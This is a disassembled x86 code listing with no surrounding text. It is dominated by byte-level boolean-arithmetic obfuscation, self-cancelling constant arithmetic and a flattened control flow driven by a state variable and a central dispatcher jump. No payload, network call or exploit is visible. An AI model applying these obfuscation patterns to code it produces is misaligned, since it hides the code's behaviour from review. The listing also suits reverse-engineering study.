mov cl, byte [ebp - 0x4029]
xor cl, 0
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 0
or cl, ah
mov ah, cl
xor ah, 0xff
mov ch, byte [ebp - 0x43b5]
xor ch, ah
mov ah, byte [ebp - 0x43b5]
and ch, ah
mov bl, bh
xor bl, 0xff
and bl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov byte [ebp - 0x43cc], al
mov al, bh
and al, ah
mov byte [ebp - 0x43cd], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x43ce], al
mov al, byte [ebp - 0x43cd]
or bl, al
mov al, byte [ebp - 0x43ce]
or al, ah
xor bl, al
mov al, byte [ebp - 0x4029]
xor al, 0
mov ah, bl
xor ah, al
and ah, bl
xor bh, 0xff
xor cl, 0xff
mov al, byte [ebp - 0x4029]
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x43cc]
and al, ch
mov cl, byte [ebp - 0x43cc]
xor cl, ch
or al, cl
mov cl, ah
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov byte [ebp - 0x43cf], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0x43d0], al
mov al, ch
and al, 0
and bh, bl
mov byte [ebp - 0x43d1], al
mov al, byte [ebp - 0x43d0]
or al, ah
mov ah, byte [ebp - 0x43d1]
or ah, bh
xor al, ah
or cl, ch
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, byte [ebp - 0x43cf]
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov ch, byte [ebp - 0x43cf]
and ch, ah
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ah
or cl, ch
or bl, al
xor cl, bl
mov al, cl
xor al, 0xff
and al, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
mov ch, cl
and ch, ah
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ah, 1
or al, ch
or bl, ah
xor al, bl
mov ah, byte [ebp - 0x4029]
xor ah, 0
xor al, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, byte [ebp - 0x4029]
xor al, 0
and al, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
or al, ch
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, ch
and bl, cl
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x43d2], al
mov al, bh
and al, 1
mov byte [ebp - 0x43d3], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x43d4], al
mov al, byte [ebp - 0x43d3]
or ch, al
mov al, byte [ebp - 0x43d4]
or al, bh
xor ch, al
xor ch, 0xff
mov al, byte [ebp - 0x4029]
xor al, 0
mov bh, byte [ebp - 0x4029]
xor bh, 0
or ch, al
or bh, 0
xor ch, 0xff
and ch, bh
mov al, byte [ebp - 0x4029]
xor al, 1
mov bh, byte [ebp - 0x43d2]
xor bh, 0xff
mov byte [ebp - 0x43d5], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x43d6], al
mov al, byte [ebp - 0x43d5]
or al, bh
mov bh, byte [ebp - 0x43d6]
or bh, 0
xor al, 0xff
and al, bh
mov bh, ah
and bh, bl
xor ah, bl
or bh, ah
mov ah, ch
and ah, al
xor ch, al
or ah, ch
mov al, bh
xor al, 0xff
mov ch, ah
and ch, al
xor ah, 0xff
and bh, ah
or ch, bh
mov al, ch
xor al, 0xff
and al, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
and ch, ah
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ah, 1
or al, ch
or bl, ah
xor al, bl
mov ah, byte [ebp - 0x4029]
xor ah, 0
mov ch, al
and ch, ah
xor al, 0xff
and al, 0
or ch, al
xor ch, 0xff
mov al, byte [ebp - 0x4029]
xor al, 0
mov ah, byte [ebp - 0x4029]
xor ah, 1
or ch, al
or ah, 1
xor ch, 0xff
and ch, ah
mov al, byte [ebp - 0x4029]
xor al, 0
and al, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 0
or al, ah
mov ah, byte [ebp - 0x4029]
xor ah, 1
xor al, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
or ah, al
or bl, 0
xor ah, 0xff
and ah, bl
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 1
or al, bl
mov bl, byte [ebp - 0x4029]
xor bl, 0
xor al, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
or bl, al
or bh, 1
xor bl, 0xff
and bl, bh
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and cl, bl
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, al
and bh, bl
or cl, bh
mov bl, byte [ebp - 0x4029]
xor bl, 0
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
or bl, bh
mov bh, ah
and bh, cl
xor ah, cl
or bh, ah
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov ah, bl
xor ah, 0xff
mov byte [ebp - 0x43d7], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x43d8], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x43d9], al
mov al, byte [ebp - 0x43d8]
and al, 0
mov byte [ebp - 0x43da], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x43db], al
mov al, byte [ebp - 0x43d8]
and bl, al
mov al, byte [ebp - 0x43d9]
mov byte [ebp - 0x43dc], cl
mov cl, byte [ebp - 0x43da]
or al, cl
mov cl, byte [ebp - 0x43db]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0x43dc]
or cl, ah
xor cl, 0xff
mov ah, byte [ebp - 0x43d8]
or ah, 1
and cl, ah
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and bh, ah
or cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, byte [ebp - 0x4029]
xor ah, 0
or cl, al
or ah, 0
xor cl, 0xff
and cl, ah
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 1
or al, ah
mov ah, byte [ebp - 0x4029]
xor ah, 0
xor al, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
or ah, al
or bl, 0
xor ah, 0xff
and ah, bl
mov al, byte [ebp - 0x4029]
xor al, 0
and al, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
or al, bl
mov bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 1
mov byte [ebp - 0x43dd], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
or bh, al
xor bh, 0xff
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x43de], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x43df], al
mov al, byte [ebp - 0x43de]
or bh, al
mov al, byte [ebp - 0x43df]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x43dd]
xor al, 0xff
xor al, 1
and al, 0xff
mov byte [ebp - 0x43e0], al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x43e1], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x43e2], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x43e3], al
mov al, byte [ebp - 0x43e1]
and al, 0xff
mov byte [ebp - 0x43e4], al
mov al, byte [ebp - 0x43e3]
and ah, al
mov al, byte [ebp - 0x43e2]
and al, 0xff
mov byte [ebp - 0x43e5], al
mov al, byte [ebp - 0x43e3]
and bl, al
mov al, byte [ebp - 0x43e4]
or al, ah
mov ah, byte [ebp - 0x43e5]
or ah, bl
xor al, ah
mov ah, byte [ebp - 0x43e1]
mov bl, byte [ebp - 0x43e2]
or ah, bl
xor ah, 0xff
mov bl, byte [ebp - 0x43e3]
or bl, 1
and ah, bl
or al, ah
mov ah, bh
xor ah, 0xff
mov bl, byte [ebp - 0x43e0]
xor bl, 0xff
mov byte [ebp - 0x43e6], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x43e7], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x43e8], al
mov al, byte [ebp - 0x43e7]
and bh, al
mov al, bl
and al, 0xff
mov byte [ebp - 0x43e9], al
mov al, byte [ebp - 0x43e0]
mov byte [ebp - 0x43ea], cl
mov cl, byte [ebp - 0x43e7]
and al, cl
mov cl, byte [ebp - 0x43e8]
or cl, bh
mov bh, byte [ebp - 0x43e9]
or bh, al
xor cl, bh
or ah, bl
xor ah, 0xff
mov al, byte [ebp - 0x43e7]
or al, 1
and ah, al
or cl, ah
mov al, byte [ebp - 0x43e6]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x43e6]
and al, cl
or ah, al
mov al, ah
xor al, 0xff
and al, 0
mov cl, byte [ebp - 0x4029]
xor cl, 0
and ah, cl
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and cl, 1
or al, ah
or bl, cl
xor al, bl
mov cl, byte [ebp - 0x4029]
xor cl, 0
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 0
or cl, ah
mov ah, byte [ebp - 0x4029]
xor ah, 0
and ah, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x43eb], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, byte [ebp - 0x43eb]
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x43ec], al
and al, 0xff
mov byte [ebp - 0x43ed], al
mov al, byte [ebp - 0x43eb]
and al, bh
mov byte [ebp - 0x43ee], al
mov al, bl
and al, 0xff
and cl, bh
mov byte [ebp - 0x43ef], al
mov al, byte [ebp - 0x43ed]
mov byte [ebp - 0x43f0], cl
mov cl, byte [ebp - 0x43ee]
or al, cl
mov cl, byte [ebp - 0x43ef]
mov byte [ebp - 0x43f1], al
mov al, byte [ebp - 0x43f0]
or cl, al
mov al, byte [ebp - 0x43f1]
xor al, cl
mov cl, byte [ebp - 0x43ec]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, ah
and cl, 0
xor ah, 0
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
and al, bl
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and bl, 1
or ah, al
or bh, bl
xor ah, bh
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and ah, 1
or cl, ah
mov ah, byte [ebp - 0x43d7]
xor ah, 0xff
and ah, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, byte [ebp - 0x43d7]
and bh, bl
or ah, bh
mov bl, byte [ebp - 0x4029]
xor bl, 0
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x43f2], al
mov al, bh
and al, 0
mov byte [ebp - 0x43f3], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x43f4], al
mov al, byte [ebp - 0x43f3]
or bl, al
mov al, byte [ebp - 0x43f4]
or al, bh
xor bl, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, bl
and cl, 0
xor bl, 0
or cl, bl
mov ah, al
xor ah, 0xff
and ah, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
and al, bl
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
and bl, 1
or ah, al
or bh, bl
xor ah, bh
xor ah, 0xff
xor cl, 0xff
mov al, byte [ebp - 0x4029]
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, ch
xor al, 0xff
mov cl, byte [ebp - 0x43ea]
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
or al, cl
or bl, 1
xor al, 0xff
and al, bl
mov cl, ch
xor cl, 0xff
and cl, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
and ch, bl
mov bh, byte [ebp - 0x43ea]
xor bh, 0xff
and bh, 0
mov byte [ebp - 0x43f5], al
mov al, byte [ebp - 0x43ea]
and al, bl
or cl, ch
or bh, al
xor cl, bh
mov al, byte [ebp - 0x43f5]
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x43f6], al
mov al, byte [ebp - 0x43f5]
and al, bl
mov byte [ebp - 0x43f7], al
mov al, ch
and al, 0xff
and cl, bl
mov byte [ebp - 0x43f8], al
mov al, byte [ebp - 0x43f7]
or bh, al
mov al, byte [ebp - 0x43f8]
or al, cl
xor bh, al
mov al, byte [ebp - 0x43f6]
or al, ch
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, byte [ebp - 0x43f2]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 0
or al, cl
or ch, 0
xor al, 0xff
and al, ch
mov cl, byte [ebp - 0x43f2]
xor cl, 0xff
mov ch, ah
and ch, cl
xor ah, 0xff
mov cl, byte [ebp - 0x43f2]
and cl, ah
or ch, cl
mov cl, al
xor cl, 0xff
mov ah, ch
xor ah, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov byte [ebp - 0x43f9], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x43fa], al
mov al, byte [ebp - 0x43f9]
and al, bl
mov byte [ebp - 0x43fb], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0x43fc], al
mov al, byte [ebp - 0x43fa]
mov byte [ebp - 0x43fd], cl
mov cl, byte [ebp - 0x43fb]
or al, cl
mov cl, byte [ebp - 0x43fc]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x43fd]
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov ch, bh
and ch, ah
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0xff
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and al, ch
or cl, al
xor cl, 0xff
mov al, bh
xor al, cl
and al, bh
mov cl, ah
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, cl
and bh, 0xff
and ah, bl
mov byte [ebp - 0x43fe], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x43ff], al
mov al, byte [ebp - 0x43fe]
and al, bl
or bh, ah
mov ah, byte [ebp - 0x43ff]
or ah, al
xor bh, ah
or cl, ch
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
and bh, 1
movzx esi, bh
mov edx, dword [edx + esi*4]
mov esi, dword [ebp - 0x38]
mov dword [esi], edx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0xa8], 0x5bdf2502
mov dword [ebp - 0x4404], edx
jmp 0x45c869
mov ax, 0xa5a0
mov cx, 0xcddf
mov edx, dword [ebp - 0x44]
mov si, word [edx]
add cx, 0
sub cx, 0x367f
sub cx, 0xcddf
add si, 0x7fcc
add si, cx
sub si, 0x7fcc
sub si, 0xbc09
add si, 0x754c
add si, 0xbc09
add si, 0xd900
add si, 1
sub si, 0xd900
sub si, 0xc9f8
sub si, 0x754c
add si, 0xc9f8
add ax, 0
sub ax, 0x367f
sub ax, 0xa5a0
sub si, 0xb628
sub si, ax
add si, 0xb628
mov edx, dword [ebp - 0x44]
mov word [edx], si
mov dword [ebp - 0xa8], 0x7245e6fc
jmp 0x45c869
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0xa8], 0x178bd906
mov dword [ebp - 0x46d0], eax
jmp 0x45c869
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xa8], 0xa94793c8
mov dword [ebp - 0x46d4], eax
jmp 0x45c869
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xa8], 0xdd10953f
mov dword [ebp - 0x46d8], eax
jmp 0x45c869
mov dword [ebp - 0xa8], 0x1d6fe015
jmp 0x45c869
mov dword [ebp - 0xa8], 0x6610060a
jmp 0x45c869
jmp 0x40155c